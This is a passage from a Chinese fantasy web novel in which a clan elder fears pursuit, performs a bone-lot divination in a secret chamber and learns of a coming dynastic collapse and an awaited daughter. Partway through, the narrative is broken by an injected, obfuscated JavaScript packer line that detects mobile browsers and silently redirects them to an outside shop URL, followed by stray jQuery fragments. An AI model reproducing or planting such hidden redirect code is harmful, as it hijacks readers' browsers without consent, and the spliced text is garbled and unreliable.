“谢家的人已经动了。”他声音有些哑,“但暂时摸不到朝阳。咱们给他们在东南边放了几个靶子,够他们追一段路。但——”他放下茶壶,“最多撑半年。那之后,他们还是会找到这儿来。”
闻见喜沉默了一会儿:“那半年之内,泽芝将孩子生下来。”
“嗯。”落实子点头,“生下来之后的事情,生下来再说。”
两人在书房里坐了很久,谁也没有再开口。窗外传来落泽芝和方生生说话的声音,隐约能听见“安胎”“炖汤”之类的话。落实子听着那些声音,慢慢闭上了眼睛。
他想起三百年前,四族的先祖们也是这样坐在密室里,商议着“往北走”、“改姓”、“把族谱烧了”这些事。三百年了,四族从一个庞然大物拆成了无数细碎的支脉,散在九州各处,各自为生。唯一没有断的,是那个“等”字。等了三百年的东西,如今终于有了眉目。
睁开眼,看着窗外初升的太阳,轻轻呼出一口气。
“让泽芝好好养着。”他对闻见喜说,“剩下的事,我来挡。”
落实子在书房中歇了不到半个时辰,便起身朝后院走去。闻见喜想跟,被他抬手拦住:“你去衙门。该做什么做什么,别让人看出异样。”
闻见喜看着岳父那张脸——明明昨夜耗了大半血气,可此刻走路的步子依然稳当,腰板挺得笔直,一点儿看不出疲惫。五十二岁,可乍一看去,那张脸最多三十出头,棱角分明,眉眼间还带着几分年轻时行走四方的锋锐。只有凑近了细看,才会发现他眼尾处有极淡的细纹,鬓角的头发虽然还是黑的,但发根处隐约透出几丝银白——那是三日前布阵时新长的,像一夜间落了一层薄霜。
闻见喜没再坚持。将官服整理好,走出院门时回头望了一眼岳父拐进后院廊下的背影,将门带上了。
落实子穿过二进院,绕过假山石和一方小小的莲池,在一扇不起眼的角门前停下。角门是铁力木的,漆色剥落了大半,露出底下深褐色的木质。门上没有锁,但只有落实子和闻家血脉最正的三四个人知道——这门推开之后不是通往后巷,而是通往一条地下甬道。
推门进去,反手关上,沿着台阶向下走了九级,甬道尽头又是一道石门。这次需要以指血为引——落实子在指尖咬了一口,将一滴血按在石门右侧的凹槽中。血珠渗入石纹,石壁内部传来一阵极轻的机括转动声,石门向内滑开。
密室不大,方圆不到两丈。石壁上嵌着三十六盏长明灯,火苗极小,但光线稳定,将整个密室照得亮堂堂的。
屋子正中央是一方青石卦台,比落实子在外头用的那块大了不少,石面磨得光滑如镜,边缘刻着一圈细密的符文——那是四族祖传的第三套卦台,从炎武帝那场仗打完之后就没怎么用过。用一次,损一次灵气。
落实子在卦台前站定,却没有立刻动手。他先点燃了案上三炷香,朝南、朝北、朝东各自拜了一拜,然后从怀中取出一只旧青布包,摊开。包里是三枚骨卦——比前几日他在草庐中用的那几枚木卦要老得多。骨色已经泛黄发黑了,不知道传了多少代人。落实子将它们握在手中时,骨卦微微发烫,像活物一样蜷了蜷。
这时候石门后面传来一个声音:“你连它们都请出来了?”
落实子没有回头:“师兄,你来了。”
石门推开,一道白影走了进来。来人穿着一身月白道袍,头发以一根竹簪随意挽着,看着比落实子还要年轻几分,目测不过三十出头的模样。但他那双眼睛里有一种极沉静的光,像是潭水深处两千年没动过的石头。游陌子,落实子同门师兄,世外散仙。若论凡间的寿数,他已经三百多岁了。
落实子回过头来看了他一眼:“你上回留的纸条我收到了。你说‘天机已动’,你指的是什么?”
游陌子走到卦台对面盘膝坐下,他的动作很轻,像是怕惊动什么。他看了一眼落实子手中的骨卦,又看了一眼他鬓角新生的银丝,眉头微动:“你先启卦。启完我再告诉你。”
落实子没再多问。他盘膝坐下,将三枚骨卦搁在掌心,双手合拢,闭上眼。
密室里安静得能听见灯焰跳动的声音。落实子开始诵咒。他的声音比谢世的低得多,含在喉咙底下,像深山里的溪水在石缝间流。三枚骨卦在他掌心之间微微震动,频率越来越快,最后几乎要从指缝间弹出来。落实子在第三个呼吸的间隙猛地睁眼,双手一翻——三枚骨卦落上青石卦台。
没有裂。但卦面朝上的那一面,三枚骨卦的纹路刚好拼成一行字。落实子盯着那行字看了很久,久到香炉里的三炷香烧掉了两寸。
“龙气……散了八成。”他的声音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17806209|210736||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
很慢,像在确认什么自己不想确认的事情,“十年之内……必亡。人族存续的唯一转机——”
他把三枚骨卦轻轻转了半圈,让卦面上的纹路重新拼合,“‘闻氏降女’,第十七代,女。”
游陌子没有立刻说话。他伸手拿起其中一枚骨卦,凑近了看。那骨卦上除了符文之外,还隐约透着一层极淡的紫光——那是上古神龙氏血脉的余息。
“你女儿这一胎,如果真的生下来是个女儿——”他放下骨卦,“她就是闻氏第十七代唯一的那个‘女’。”
落实子点了点头。
“你知道这代表什么?”
“知道。”落实子说,“四族等了三百年,等的就是这个。”
游陌子的手指在卦台上叩了两下,力道很轻,但石面下传出一声极沉闷的回响,像是大地深处什么东西在应和。
“你四族的先祖在4033年把主脉迁到朝阳的时候,就知道炎夏百年之后会亡国。整整一百年前,他们推出来的卦象和你刚才推出来的一模一样——龙气散、国将亡、人族灭、唯一的转机落在闻氏第十七代身上。”
“所以四族才拼了命往朝阳迁。”落实子将三枚骨卦拢回掌心,“离上京八千九百公里,离北俱芦洲三千二百公里——偏到不能再偏、远到不能再远。躲的不光是谢家那帮人,躲的是天道的眼。”
“可你现在把他们引回来了。”游陌子看着他,“你动用七处支脉运势挪移天象,谢家暗卫就算一时半会儿查不到朝阳,也迟早会循着那条线的残迹摸过来。你现在又要启第三次卦——你想确认什么?”
落实子沉默了一会儿,把那三枚骨卦在手里攥紧了:“我想确认的是另一件事——第十七代出女之后,四族该怎么做。卦上只说了‘转机在闻氏降女’,没说降女之后怎么保她活、保她长大、保她身上的血脉不被人抽走。”他更想知道怎么保人族无恙!
松开手,骨卦再次落在石台上。这一次没有拼出什么纹路——三枚骨卦各自朝不同的方向停了下来,卦面上的符文同时亮了一瞬,又同时熄灭。
落实子盯着那个结果看了很久,然后才将三枚骨卦一枚一枚收进青布包里。他的动作很慢,像在举行某种仪式。收完之后他抬起头,看着对面的游陌子:“师兄,卦上还说了另一层意思。你看懂了吗?”